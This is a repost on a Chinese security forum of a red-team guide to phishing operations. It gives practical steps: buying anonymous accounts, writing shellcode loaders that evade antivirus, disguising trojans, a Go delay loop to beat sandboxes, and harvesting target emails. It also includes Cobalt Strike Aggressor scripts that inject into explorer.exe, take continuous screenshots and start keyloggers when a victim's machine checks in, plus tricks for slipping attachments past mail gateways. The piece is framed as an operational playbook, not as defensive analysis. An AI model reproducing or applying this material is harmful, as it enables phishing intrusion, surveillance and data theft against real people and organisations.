安全矩阵

 找回密码
 立即注册
搜索
查看: 1042|回复: 0

社工钓鱼基本流程

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-10-6 01:26:20 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-10-6 01:26 编辑

抹布 红队蓝军 2023-09-27 16:31 发表于四川

前言
穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。

社交账号
准备一些社交账号,如微信、QQ、脉脉、BOSS直聘、猎聘,手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册,如果你有匿名的渠道购买更好。



邮箱方面,一般常用QQ邮箱、163邮箱,这些目前还是有渠道可以购买的,没钱或者担心购买不可靠,跟身边亲朋好友借也行。


免杀马
免杀的马子是必备的,如果你是和我一样的免杀弟弟,我推荐先学习shellcode loader的一些编写思路 ShellcodeLoader(https://github.com/xf555er/ShellcodeLoader


基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存

申请内存:VirtualAlloc
载入内存:memcpy
执行内存:CreateThread WaitForSingleObject
针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。


主要还是查文档自己多动手,学完就算不会写免杀马,改改别人GitHub的马子,过国内360火绒基本没问题,然后就是研究下捆绑exe释放正常文件,搞不懂直接给马子弹个框文件已损坏,无法打开也行,不然经常出现对方问你这文件怎么打不开...


平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,进行修改增加签名功能。360QVM_bypass-public(https://github.com/Pizz33/360QVM_bypass


bypass沙箱
为了延长马子存活时间,基本的沙箱对抗少不了,毕竟有防守人员的话,你投递的木马基本都得沙箱走一走,以微步沙箱为例,最简单的循环打印。

使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。

  1. //循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
  2. func add() {
  3.     start := time.Now() //获取当前时间
  4.     //1000000  1m2.793228s
  5.     sum, i := 0, 1
  6.     for i < 1000000 {
  7.         fmt.Println(i)
  8.         sum += i
  9.         i++
  10.     }
  11.     elapsed := time.Since(start)
  12.     fmt.Println("该函数执行完成耗时:", elapsed)
  13. }
复制代码

将如上代码放在shellcode执行前就行。


信息收集
思维导图如下,每个人都有自己的思路,我就简单讲解几个。


零零信安直接搜索公司名称,得到一些邮箱地址


拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。

如下组合:

@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式


C2搭建准备
常用的就cs,基本的套层CDN然后c2上线端口反代下,这里我会用到cs插件脚本 PushPlus2(https://github.com/S9MF/my_scrip ... %E4%BB%B6/README.md)


常用的就是上线提醒、自动迁移进程

  1. #自动迁移进程
  2.     sub callback{
  3.         $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  4.         # 要迁移的进程
  5.         $listener = "ecloud";
  6.         # 监听器名字,此处为ecloud,记得修改为自己的
  7.         if ($2 ismatch $regex){
  8.             $pid = matched()[1];
  9.             $inject_pid = $pid;
  10.             if (-is64 $1){
  11.                 $arch = "x64";
  12.             }
  13.             else{
  14.                 $arch = "x86";
  15.             }
  16.             binject($1, $pid, $listener, $arch);
  17.         }
  18.     }
  19.     if($inject_pid != beacon_info($1,"pid")){
  20.         bps($1, &callback);
  21.     }
复制代码

还有上线自动截图功能,就算目标掉了起码还有张图证明上线过

  1. #只截一张图
  2.     #binput($1, "screenshot");
  3.     #bscreenshot($1);

  4.     #连续截图
  5.     binput($1, "screenwatch");
  6.     bscreenwatch($1);

复制代码
其他的上线自动执行shell命令、键盘记录看自己需求吧

  1. #执行自定义cmd命令
  2. bshell($1, "ipconfig /all");
  3. #键盘记录
  4. bkeylogger($1);
复制代码

还有其他需求可以去翻翻文档Aggressor Script(https://hstechdocs.helpsystems.c ... agressor_script.htm

如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务,可以考虑下写个cs脚本上线自动bypass uac,加权限维持。

邮件网关/沙箱
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。

针对正文
不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。

针对附件
文件名加密,解压密码写在附件名上。

开钓
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。



上线后的操作
参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)(https://www.t00ls.com/articles-69037.html)


总结
本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。

参考
360QVM_bypass (https://github.com/Pizz33/360QVM_bypass

ShellcodeLoader (https://github.com/xf555er/ShellcodeLoader

分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)(https://www.t00ls.com/articles-69037.html)

文章来源于:https://xz.aliyun.com/t/12879

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 05:50 , Processed in 0.013943 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表